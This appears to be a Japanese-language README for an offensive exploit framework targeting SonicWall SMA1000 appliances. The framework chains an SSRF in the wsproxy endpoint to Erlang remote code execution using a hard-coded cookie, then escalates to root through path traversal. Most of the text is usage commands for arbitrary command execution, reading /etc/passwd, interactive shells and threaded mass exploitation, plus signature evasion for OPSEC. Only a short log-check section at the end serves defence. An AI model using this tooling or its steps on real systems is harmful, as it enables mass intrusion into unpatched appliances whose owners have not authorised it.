
マルチエクスプロイトフレームワーク for SonicWall SMA1000 chaining SSRF (CVE-2026-15409) to Erlang RCE and root privilege escalation (CVE-2026-15410)。インタラクティブシェル、バッチスキャン、ファイル操作、および認可されたペネトレーションテストのためのセーフ検出モードを備えています。

エクスプロイトフレームワーク & セーフ検出ツール
許可されたセキュリティテスト専用です。
このツールは、教育および許可された侵入テスト目的でのみ提供されています。
作成者および貢献者は、このソフトウェアの誤用または損害について一切の責任を負いません。ユーザーは、テスト前にターゲット所有者から明示的な書面による許可を得ていることを確認する責任を単独で負います。許可なくコンピュータシステムにアクセスすることは、コンピュータ詐欺および不正使用防止法(CFAA)および世界中の同様の法律に違反します。
このソフトウェアを使用することにより、以下に同意したものとみなされます:
⚠️ 警告: この脆弱性は実際に活発に悪用されています。不正使用は深刻な法的結果を招く可能性があります。
CVE-2026-15409 は、SonicWall SMA1000 アプライアンスの Work Place インターフェースで発見された重大な認証不要のサーバーサイドリクエストフォージェリ (SSRF) 脆弱性です。
動作の仕組み:
wsproxy エンドポイントをトンネリングします。os:cmd/1 呼び出しによりリモートコード実行 (RCE) が達成されます。主要な事実:
exploit.py)完全に武装化されたエクスプロイト は、CVE-2026-15409 と CVE-2026-15410 を連鎖させ、ルートレベルの侵害を達成します。
| 機能 | 説明 |
|---|---|
| 🚀 SSRF → Erlang RPC | 自動的に wsproxy をトンネリングして内部 Erlang ノードに到達します。 |
| 💻 リモートコード実行 | os:cmd/1 を介して任意の OS コマンドを実行します。 |
| 🔐 インタラクティブシェル | privesc および download コマンドをサポートするライブシェルを起動します。 |
| 👑 ルート権限昇格 | CVE-2026-15410 を利用し、AMC パストラバーサルを使用して root に昇格します。 |
| 📁 ファイル操作 | ターゲットシステム上のファイルの読み書きを行います。 |
| 🌐 一括スキャン | スレッドを使用して複数のターゲットを大量にエクスプロイトします (-l フラグ)。 |
| 🎯 SSRF 検出 | 安全な脆弱性検証のためのオプションの --detect フラグ。 |
| ⚙️ カスタマイズ可能 | WebSocket URL、Origin、User-Agent、Cookie などを上書きできます。 |
| 🧩 追加依存関係不要 | Python 標準ライブラリのみを使用します (検出用のオプション requests を除く)。 |
| 🔌 生の WebSocket 実装 | 外部 WebSocket ライブラリは不要 — カスタムソケットレベルのハンドシェイクにより、ライブラリ固有のシグネチャフィンガープリントを回避し、より優れた OPSEC を実現します。 |
pip (requests ライブラリ用)pip install -r requirements.txt
# Interactive shell on target
python exploit.py -u 192.168.1.100
# Execute a single command
python exploit.py -u 192.168.1.100 --exec "id && whoami"
# Read a file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd
# Enable SSRF detection before exploitation
python exploit.py -u 192.168.1.100 --detect
# Attempt root privesc
python exploit.py -u 192.168.1.100 --privesc
# Mass exploit from file (50 threads)
python exploit.py -l targets.txt -m 50 --exec "uname -a"
# Custom port and path
python exploit.py -u 10.0.0.5 -p 8443 --path /workplace
# Pipe mode (read command from stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100
# Single target scan
python checker.py https://192.168.1.100
# Custom port and path
python checker.py 192.168.1.100 --port 8443 --path /workplace
# Mass scan from file
python checker.py --list targets.txt
| 製品 | 脆弱なバージョン | 修正バージョン |
|---|---|---|
| SMA 6210 | 12.4.3-03245, 12.4.3-03387, 12.4.3-03434 12.5.0-02283, 12.5.0-02624, 12.5.0-02800 | 12.4.3-03453+ 12.5.0-02835+ |
| SMA 7210 | 同上 | 同上 |
| SMA 8200v | 同上 | 同上 |
⚠️ 重要: これらの脆弱性は SonicWall ファイアウォール (SSL-VPN) または SMA 100 シリーズには影響しません。
ポート 443 の wsproxy エンドポイントは、-3389 で始まる bmID パラメータと host:port の指定を受け入れます。host=127.0.0.1、port=1050 と指定することで、攻撃者は内部の Erlang 分散サービスにトンネリングできます。
Erlang ノードはハードコードされたデフォルトのクッキー 10ecad5b446e86864832904cd439b6b70262 を使用します。これにより、リモート認証と任意の os:cmd/1 呼び出しの実行が可能になります。
認証後、エクスプロイトはシェルスクリプトを /var/tmp/ に書き込み、パストラバーサル (../../../../var/tmp/script.sh) を含む AMC の remove_hotfix XML-RPC エンドポイントをトリガーし、スクリプトを root として実行します。
SonicWall は以下を確認することを推奨します:
/__api__/login または /__api__/logout の extraweb_access.log (200 ステータス)/wsproxy の extraweb_access.log (101 ステータス)ctrl-service.log/__api__/login または /__api__/logout のルートを含む /var/lib/unit/conf.json